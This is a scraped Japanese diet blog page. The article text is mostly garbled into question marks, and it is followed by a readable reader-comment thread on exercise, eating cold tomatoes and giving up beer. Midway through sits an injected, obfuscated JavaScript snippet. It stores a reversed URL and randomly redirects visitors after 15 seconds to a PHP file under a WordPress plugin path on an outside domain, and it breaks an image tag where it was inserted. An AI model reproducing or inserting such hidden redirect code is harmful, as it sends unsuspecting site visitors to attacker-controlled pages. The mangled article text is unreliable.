??????2????????
????????????????????????????????????
???????????????????????????????…
?????????????????????????????????????(?????)?
13kg???????????????????????????????????
??????????????????????
???????????????
?????????????????????????????????????????????????????????
????????????????????????
???????????????????????????????????????????????????????????????????
????????????????????????????????????
???????????????????????????????????????????????????????????
?????????????????????????????????????????????????????????????????
…???????????????
?????????????????????????
???????????
????
?????????
??????(??)
??????(??)
?????(???????????????????????)
?????(??????????????????????????)
???????????????? ??????????????????
??????
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andard.jpg” alt=”???????????????” width=”120″ height=”120″ /> ??????????????????? 
TESCOM ?????????Amazon?
TESCOM ?????????Amazon? 
ギ
すごいですね。毎日運動してたんですか？
管理人
ギさん
コメント有難うございます。
運動はここ最近は週末だけになってしまいました(海水浴)。
ランニングは風邪をひいてからしていません。
日焼けした背中が痛いので腹筋もあまりできていませんが、ストレッチだけは以前より時間をかけ毎日しています。
それと外出先で飯を想定以上に食べてしまうことがよくあるのですが、危機感から翌日は別メニュー「冷やした大きいトマト」に変えています。
多少値は張りますが3～4個くらいを一気に食べるとさすがにもういいや、となりますよね。
でも冷えているのでそこまで苦しくもなく、スライスして塩を振ることで酸味のほかにも甘味を感じることができ、野菜だけを食べたあとの物足りなさがないんです。(ミニトマトは食べごたえもないし、酸味のバランスが強いので不可です。)
トマトが嫌いでなかったら一度限界まで食べることをおすすめします。
といった感じで運動不足を食事で調整しています！
non
はじめまして！
イッキに読ませていただきました（笑）
私も去年6キロ落としましたがあと３キロが半年以上落ちません。こちらのブログ読んでスムージー取り寄せました！頑張ってみます
仕事帰りのグリーンラベル1本がやめられません
やっぱりダイエット中はビールはやめないとダメですか？？
またお邪魔させてください！
管理人
nonさん
コメント有難うございます。
いっきに読んで頂けて光栄です！
仕事終わりのビールはどうしても飲みたいですよね…
僕の場合一本では終わらない＆つまみも食べてしまうのが分かっていたので、絶対に飲まないと決めていました。
焼酎などの蒸留酒がダイエットに向いているとよく言われますが、僕はそれで失敗しているので全くおすすめできません(ダイエット４０日目 惨敗！！！！！)。
ストレスにならない程度に、もし飲んでしまったらどこかで帳尻を合わせるようにすれば問題ないと思います。
今後ともよろしくお願いします☆